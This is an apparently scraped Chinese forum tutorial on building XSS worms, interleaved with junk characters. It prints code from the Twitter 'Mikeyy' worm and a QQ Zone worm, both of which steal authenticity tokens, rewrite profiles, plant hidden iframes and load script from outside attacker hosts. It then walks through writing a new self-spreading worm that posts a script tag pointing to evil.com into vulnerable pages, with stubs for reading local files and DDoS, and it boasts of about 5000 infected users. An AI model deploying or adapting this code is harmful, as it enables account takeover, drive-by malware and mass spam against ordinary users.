复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
" H" D3 B6 m% R8 S* c, B
& p" H, f/ [4 _# @( v. I0 }6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

8 d; K! s: f! [   2.   
  o6 l9 ?6 h3 K& r% d
: O/ c9 j- u  R* M   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  
, V. ?8 T0 A" U7 I
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

' |  i/ ?5 G4 j% Y   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
( }0 {5 _6 f& O" O0 d1 h$ R
" S* r% A8 m7 A& Y3 E  I   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
2 N8 G8 }, U" R. E复制代码第六版:   1. function wait() {  
: C5 L2 _. F& V1 D1 i* U
   2.   var content = document.documentElement.innerHTML;  
: c2 \! Y" [% D9 A7 ~4 P5 V  P$ e
6 ^: P  G. J4 V8 U5 H   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
( X, E+ _; C8 ^2 X
: x; k  E7 |- H2 s, x+ m   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  

& B' V, W8 m. w$ u2 h- }   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

. z( T0 r' s% h3 S* m7 c* o  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
6 H3 C& i4 |% ~* `1 B
: R/ h) y+ e3 C6 W2 v. t1 \  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
4 {$ N# b1 P( a; W; @7 Y$ ?: ]/ H
, `! M7 Z8 y& g3 @* g/ {7 g  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
1 z- s% K1 A4 T; c; M
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

( F; A+ b7 b# u  J! i% v* Q/ C  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
2 Z$ t" N2 K/ c% ^6 {- k
( e9 k. y' ~0 k8 L  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

/ n( @# S! W% r0 h# J  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
5 O* ~% |8 }% _) r. Q8 u7 o) H  K& c
2 G) D. p; n% M  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
4 L# ^% ^% x- A! J
2 ?8 J/ Y4 a1 b3 t9 f  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
0 j& n( u6 k  Y% X+ _, z% i! U4 J
, ^8 ^4 o, ^1 P6 c3 T( _6 t; B  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
% N/ A! R$ [; M) T
% a6 a4 |! c/ p6 D0 X  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

5 `5 B- T/ `7 J& p& k  Q  24.     

" X7 I. Q) j$ g+ H+ O  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
+ i( J6 T9 v! d" Z
" c- o3 w: h" D. v: s+ @9 w% Y  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
, c: G  B" N# j0 w: p0 c
  27.     

' _) n+ W1 r% B4 I: k  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
9 I5 x/ m9 U# Z" X( Q9 W4 T  D/ c
  30.   var _0xf81bx1c="Mikeyy";  

0 G% E, ?) o7 j3 j: r  31.   var updateEncode=urlencode(_0xf81bx1c);  

: _' Y: q. N7 M$ A  S& p* u  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
, L6 {4 T$ j$ e/ z( f: O. f
4 R$ @7 Q8 W5 n2 j  35.   var XSS=urlencode(genXSS);  
4 }4 N9 U; H( h$ P
$ [3 g" V% _4 C1 o1 D  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

% P% w) M) [! O8 \) V# J* q  38.     
% X1 g  w% ~4 A+ l
  39. } ;  
! C' |0 X$ i& y% g; W  F
  40. setTimeout(wait(),5250);  
/ u: F3 ]* y8 u4 l复制代码QQ空间XSSfunction killErrors() {return true;}
3 H- s) k- f4 Q' P/ ~
window.onerror=killErrors;
! x2 S4 `6 l9 V4 ^8 |

6 O9 L4 `& \& [
! M6 E. M+ v5 r9 i" {) R3 Evar shendu;shendu=4;

% y- n  n4 S9 J- v. |+ `//---------------global---v------------------------------------------
- f4 E. U3 x6 L; v+ t1 h  G6 @) o
% {9 W1 |! R; |# n//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
; w. M) _/ G( Q0 j( N. N* W
, s1 u* {, x7 I& C. C; kvar myblogurl=new Array();var myblogid=new Array();
  d, B4 T& P4 c3 P8 F5 Z  x
        var gurl=document.location.href;
: e+ e2 B9 G) _8 Z/ E
        var gurle=gurl.indexOf("com/");
' d6 |+ \  c6 D' H  o& y
) ~( i2 ^- {, W+ w! L& c( o" z        gurl=gurl.substring(0,gurle+3);        
2 @- d: R& E) ?* H3 w
7 b* |2 U/ w1 ]! O/ y: z1 p' z        var visitorID=top.document.documentElement.outerHTML;
+ C  ~$ P0 I+ c! E. z( y8 e6 D
# Z" ]- w! U; Y8 E           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);
+ {2 L1 r5 p) _$ ^1 n+ Y) ^4 ~
$ [/ @9 b; i# S3 t/ e' k' y( s        cookieS=visitorID.indexOf(",");
; E, ^- c% e8 Q0 {' M! x8 `/ g6 A- p9 @0 W
0 b- O' M2 @6 {2 m0 Z        visitorID=visitorID.substring(0,cookieS);
& _2 T" {/ H1 S" B
        get_my_blog(visitorID);

8 d7 u+ W  S5 m3 b( a        DOshuamy();

  U  G* f! V5 S# Q

//挂马
! p$ f5 j' I* G0 a8 q
function DOshuamy(){
/ K# Q8 N) O/ w, m! u! n
1 l" w# s8 {/ O' I- x1 \var ssr=document.getElementById("veryTitle");
  e# v! M) }% |# j# A4 O
& g) Z/ G9 i0 h1 N: Rssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
, M; C+ O9 Q7 v7 {5 m, K3 F; ?
& a- T( S' o% [. y) }* O7 M! i}
% P8 _$ y# T! ^& H7 T3 b

# g8 D" j4 u) P! E1 j/ f
8 d# D1 M3 _7 O3 T/ J! d. ~4 m: I//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
2 I* `/ p4 t9 V/ n
* d; x. P3 F$ _8 V7 p7 Y  p9 x  [& xfunction get_my_blog(visitorID){

2 `3 o5 }4 _" q. ^( [$ F% J4 V% `   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

9 t, ]! |" _* z   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
# u/ J2 c! H% e" W" y: U8 o$ q
   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
: a8 }" Y( L8 x! ^! n  z: U9 h* R& R
     xhr.send();guest=xhr.responseText;
# D( h/ r+ l# ^2 t( k
     get_my_blogurl(guest);    //执行这个函数
, v! L3 V6 i6 v3 v1 |$ P) @. h
    }
) c1 q/ o, P7 s. s9 `" N
}
7 C7 h$ j) S% `" A6 r7 D! b

4 w8 r0 i' I, h' x" O7 r
//这里似乎是判断没有登录的
3 {% S% g& d3 _
function get_my_blogurl(guest){

: M: p$ b& _4 i7 a$ M7 ?  var mybloglist=guest;

  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){

# F) A1 U  b2 h" {7 S5 p7 G7 ?: n     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

7 s8 ]4 U4 m) e3 r3 b     if(myurls!=-1){    //找到了就执行下面的

- v( w# T0 v( u) S% h) @* k         mybloglist=mybloglist.substring(myurls+11);
2 p( Y* p/ B3 y* [# Q, _
         myurls=mybloglist.indexOf(')');
) F) l4 L7 \' s: o
  i4 {3 a- h0 H" h         myblogid=mybloglist.substring(0,myurls);
; M! F) a0 h( a( V
        }else{break;}
0 n( P: C! ?( m8 |% j2 x& e
& u* {9 Q9 Z4 X9 b. K/ {}

get_my_testself();    //执行这个函数

}


# e' w3 P8 z! P7 O" G( k( p
//这里往哪跳就不知道了

function get_my_testself(){

- x, o0 X) \0 T) I4 r- o  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
- a4 e% f: k2 V4 r+ A- C
/ G$ t: I& K; `3 _      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
4 f4 ^. w: U; d4 y
; v* J+ e4 S  y      if(xhr2){        //如果成功
+ P6 F  ^& e2 b. g
              xhr2.open("GET",url,false);     //打开上面的那个url

7 f/ I* ^; I$ H              xhr2.send();

              guest2=xhr2.responseText;

. ]# ~  X  k& Y' I9 X2 I              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
! a0 v7 z/ e( _% o( M# b' R7 D. W  B9 Y
3 q2 ?) H0 Y! t. b1 i' m9 A              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
: X: V* w# D6 R3 N
1 h" `8 r6 l% [9 B7 D; n1 g              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
% o  ?! w1 B, G" i
                targetblogurlid=myblogid;   
& V  ?1 h/ k& U$ _
1 A+ U, |! u. H6 G/ R! j                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
) d/ j2 k% L0 o
, N& r* a) L" d5 C" G1 \                break;

5 s% `1 C; G  ]1 `               }

              if(mycheckit=="-1"){
! q6 ~$ s- K( k9 ?! }! m
: N/ b# P+ Q. A                targetblogurlid=myblogid;
0 W, l1 d5 q1 q: u+ V
                add_js(visitorID,targetblogurlid,gurl);    //执行它
; k' L8 B; O6 j* @
4 A. S6 }, a4 P' ?2 c7 g                break;

               }
. n- f4 T8 v( R! K
- |/ o& _* z4 U- c        }      
$ a6 b$ F2 ^% c- `+ b
}

}



5 _: R& U1 d8 d0 m* u//--------------------------------------  
3 y( R( p6 a% N# k
) V+ Q3 o& t" M3 k//根据浏览器创建一个XMLHttpRequest对象
8 ]) f0 V+ ?: F; e9 v2 \* [# d
& r" j. P, e- l" Afunction createXMLHttpRequest(){

0 l# P8 u' X/ ^; x( a    var XMLhttpObject=null;  

9 d+ z, I+ F6 p    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

1 v; {* n' r' h" ]" @      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
4 y0 q; |( y, r: d
8 f. z+ U1 M$ R4 p        for(var i=0;i<MSXML.length;i++)  

2 Y5 `: X+ Q5 J1 [" `        {  

. t7 @- {7 U9 Y  D8 x" u            try  

            {  
2 R' v3 q% x0 \) @
                XMLhttpObject=new ActiveXObject(MSXML);  
# e7 N; Y2 j3 c
/ N5 a) O% A6 F: q                break;  
: T7 i3 ~# T+ r1 R5 i/ V6 A
            }  
9 ~1 m* Q" M  S! Q
) p1 p; f2 E2 }8 ~+ S' V) K! b            catch (ex) {  
5 b4 K! i$ z! r6 \  s
            }  
9 i9 u- Z* n4 ~! r7 r
         }  
9 N8 S1 ~* H2 f) Q: V
- b1 F# D& ?, {7 Z* m9 v! _6 F      }

return XMLhttpObject;

4 b6 ?0 z+ {1 U}  


* I  V* u- C; c. D' d) o0 H0 X
* v9 [$ V9 o$ k- j, v) O; m% j: ^4 S" ^//这里就是感染部分了
1 I. h; ~% M' s% ^6 P
function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

0 x1 A. h6 g& W6 q: h$ k8 }& edocument.getElementsByTagName('head').item(0).appendChild(s2);

& d+ [! S2 U! k6 S/ L}
+ U; t" ^" r/ I# M


function add_jsdel(visitorID,targetblogurlid,gurl){
! F/ x8 K1 e8 u. ]1 B5 m
+ ?# f* o! k% G, u- M  l, ]6 Lvar s2=document.createElement('script');
' i2 a8 ?9 y: H
- Q$ C, L) A5 }4 @! Qs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
$ L1 N( Z: M! P* J- k; L
document.getElementsByTagName('head').item(0).appendChild(s2);
# N& V2 i" k; p; B+ r4 [. c, Q
' }- L8 g* i$ i5 X2 c$ _}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
' v  m$ u9 M6 b5 z
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
+ @) P% f  ~3 t. n( C9 l% @! g- J
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
. b8 i4 n3 ?  F
首先,自然是判断不同浏览器,创建不同的对象var request = false;
! x3 c( d* o% Z6 b4 }+ a) X# a
if(window.XMLHttpRequest) {
5 r3 W4 E) S( K& r5 w' P( x
request = new XMLHttpRequest();
0 S+ E0 @, E& M2 l: |
if(request.overrideMimeType) {
: w" i8 u; Q( n  o# ]* c
request.overrideMimeType('text/xml');
: p& g2 u8 @) H7 f
! e' W! J1 ~( J/ k0 u! N' `7 D}

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

9 n* x. f* |! w% U/ v% [for(var i=0; i<versions.length; i++) {

try {
- w  Z' n. A% ?8 c+ d! U5 @
& W5 J6 O9 m3 b* A6 ?6 i/ Trequest = new ActiveXObject(versions);
/ @- m) f3 [1 u* B5 U: b" y  r
1 S% S2 n  a3 h# X4 d! F' ~5 }} catch(e) {}
* d, L7 u. N! Z" z9 ]8 y
}

. `. D, y. }$ u/ x4 S( o" i}

6 U8 G0 ~5 Y& o4 UxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
7 O: h, @  _7 H  g# n! V# [& L0 G7 a
6 ]" Y; u  u; ]6 Q# [1 G9 Y        var Browser_Version=parseFloat(navigator.appVersion);
" u4 a' O; U- e; n
% R8 m$ Y" ]8 v* e# B        var Browser_Agent=navigator.userAgent;
& q! o4 G( ~( P1 W, e4 w& ~" e
: x3 V: \* `! j8 n/ y* t        
& M: M; F3 P: _* D6 i3 x
% l/ |. o$ Z* x- p        var Actual_Version,Actual_Name;
: R) F( O, j( j9 o
$ r, [5 ^  f+ ^        
3 j. C; O; e* E9 e- ~) z2 Q
( P- `, [* s: n- t6 n5 s5 A        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
$ h7 Z0 `. R! Z1 T
        var is_NN=(Browser_Name=="Netscape");
: a* M) f0 Q# m4 r. t* V: L
+ O) s, G" p  b0 W7 N; [5 d        var is_Ch=(Browser_Name=="Chrome");
. k0 Y8 a4 A- G* M$ k) \" q2 R! Q
3 n* e: H! W: B        
, E' S4 T3 Z+ H
4 ~4 E  j. A  \7 `        if(is_NN){
$ |" T8 N# n4 f' y7 y
3 ]' F# }0 k0 _' {            if(Browser_Version>=5.0){
- L4 w2 Q( U1 R' T: `) X. n
' E0 d: D: z- ?+ |% k* B8 W2 p6 n                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
# [) E( x  z& C9 ]* r+ h7 X- s
- ^( {6 x" B0 \8 W3 r; ?                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
9 D: v) j4 Z/ x' ]
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
- p& e! c" J( h5 V; d
7 G" \* X6 E2 x" K! C            }
1 L1 {4 `& H2 v7 o4 W
            else{
: Q0 ]  J+ _3 D2 q1 C4 C/ |
, n! v" j, J( L5 k! b' B$ e5 x1 r3 X                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;

            }

        }
( H$ l& r# g/ k. @1 a# |% A) I
        else if(is_IE){
: y1 Q4 ~" H  `4 P# E) f8 k2 v
            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

9 D/ U8 h0 v% m  ^# P! X- ~            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
1 v, r% z' D0 z9 b$ }
3 U2 W' L) W* G3 s8 N! e  r; x            Actual_Name=Browser_Name;

            
5 Y( u9 z9 w: O+ H
            if(Browser_Agent.indexOf("Maxthon")!=-1){
6 n0 x7 k1 A0 w$ X% L( R
8 ^3 P5 m" {+ t4 c1 ]                Actual_Name+="(Maxthon)";

! V7 b; D$ {3 v. b' R            }
4 _3 I  n4 X- C8 w
) x7 |+ E0 a. A. W            else if(Browser_Agent.indexOf("Opera")!=-1){
0 o4 }: W; m/ M3 @" ~3 @
                Actual_Name="Opera";

: L9 _& ]8 p& D8 k) Z: n. P                var tempstart=Browser_Agent.indexOf("Opera");
$ W8 p, u2 @, p( l! [  U2 q
                var tempend=Browser_Agent.length;

, [* a( ^& ^* s) b- W                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
; y8 ~2 `, M' }; x7 Z; u+ H
  W/ v  g- y% `* N) [6 ]6 z        }

  k* n2 P3 g& |        else if(is_Ch){

  {( W& o. }( M+ a% q" y  @            var Version_Start=Browser_Agent.indexOf("Chrome");
. t% g8 E  X/ S+ P- _
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

4 L, E. v) x* d& C8 h( a            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

3 k4 {( l$ m* ^) w" F% O8 N. @            Actual_Name=Browser_Name;
2 f" X* c- l, ^- J
3 G9 t2 m8 f6 D4 X            

+ `2 H, R8 @7 K. J2 s) w, S$ ?            if(Browser_Agent.indexOf("Maxthon")!=-1){

5 u; O- z. P5 E5 G/ U& f$ u" [                Actual_Name+="(Maxthon)";
8 R7 h5 ~3 z  i& x/ V1 W
8 a4 L, y8 ~7 S- O0 ^5 K            }
0 O! d( g1 N7 B, B
            else if(Browser_Agent.indexOf("Opera")!=-1){
, l% t# o/ \% W4 d& E6 L
, G+ R9 ~+ Z7 `' X* F! Q: A                Actual_Name="Opera";
- ]* Z# @3 Y5 v  B1 K: o- w( i
) z. E1 p0 g& P" |# W                var tempstart=Browser_Agent.indexOf("Opera");
9 n: q3 n& `2 O* u7 P8 _, \
7 R8 Z0 b! _; v! u+ _- g! g                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
5 R" v* R0 y7 c
& H" `  S4 ?# \0 ~  O. c        }
" }; V6 u% ?& p! I0 t5 F, ]
0 J7 i4 `2 L8 J9 i, e4 T        else{

            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

        }
$ z& N+ W, v  t5 j3 @+ U2 M6 i
7 R5 R1 N1 E& E" B1 J1 W

& F1 I2 e1 l0 ]* A% |. `+ i' B" `        navigator.Actual_Name=Actual_Name;
6 O$ g; q" V0 r7 s# M& Q4 v! C% O
0 b" t7 ]4 v; m3 u        navigator.Actual_Version=Actual_Version;

- j4 W/ j1 }& ^  B; e% z        
8 V) a1 b, [+ L$ O/ Y
9 ^( P# L7 n& _' x: x0 u7 J% h        this.Name=Actual_Name;

        this.Version=Actual_Version;
' {8 t4 V) k2 X
    }

    browserinfo();
* V9 h  z( i; _- h3 s, J4 V
. d2 @- G7 h1 p  Z9 O    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
9 `1 A  F0 i% w9 `( f
0 A; ~. `4 u/ ^# a8 k    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# q+ |+ b5 p* E; e  T) s( ^
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
- ~! Q5 c  e! b1 D/ ~5 [
  u; R% V: i& `+ q    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
7 A2 e& i5 t5 T2 ~! }7 ^复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
" J/ O* M0 C7 Y* c# T7 d7 i( j复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

$ O% O; j* b  C4 JxmlHttpReq.send(null);

: j, k) Y) j) _  `: hvar resource = xmlHttpReq.responseText;

9 E2 F2 \2 P* J9 yvar id=0;var result;
" p. _' K* a; ~
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {

id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
# b, Z) I4 q8 S0 }' `, x. ?1 i
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
9 t, U$ N5 K3 K
% l: S* }! T7 r( H# nxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
+ t1 f+ d  w* j/ L" T! ~. ]$ u
* J( O) C, C( x$ e( u0 v7 nxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

2 ~. S: j9 g! V# B! p3 ?, S2 f* [xmlHttpReq.setRequestHeader("content-length",post.length);

  A2 ~3 r5 D1 ?; h8 |' Q% VxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

}
+ J7 @/ _7 N' K- Y. V9 a* K, x复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

4 G3 y& p, ]( c3 D- n' i  G# Mvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

! M- B- x) o9 R% @' Ivar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
5 C  c1 ~8 b$ C7 `5 `; l9 Q' d
var post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
, f$ b/ d" E% d; O3 c) O
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

( [3 r  |- ^" w. J1 ~( `" NxmlHttpReq.setRequestHeader("content-length",post.length);
: U! o6 Y. G+ m, @5 f  ^) ?
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
" I$ R& r- _# d6 B& X' w
xmlHttpReq.send(post);                 //把传播的信息 POST出去.
9 U5 p' H4 U1 J% J" ]7 e% l; K
8 [/ P1 f! E6 @* i. E7 j9 B}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
! T6 b6 I) C  ]( r7 h0 e
5 i6 K  e9 X7 U8 O, p, q, x, ~
% c/ N+ l* f2 O& L* O
( H( L; G( l8 N/ T; p% f: v% [5 D本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

! @' t8 ^9 K4 k


4 u8 g5 Q+ u; o4 `5 i, R' p) m
" y: x9 a" C7 u: L: F9 c  ^+ i


& B( S8 Z! D1 D8 Y5 s本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
* [: ?$ V! o+ m' x0 F/ [Other XmlHttpRequest tricks (Amit Klein, January 2003)
, t0 u$ o5 w0 E0 }1 U% l"Cross Site Tracing" (Jeremiah Grossman, January 2003)
' B! b+ W* k! Z' f( W! rhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
( h$ W  G; H+ e6 q* d5 z$ c# P- ?7 L空虚浪子心BLOG http://www.inbreak.net
# h& q* }" @2 D. Z+ D8 CXeye Team http://xeye.us/
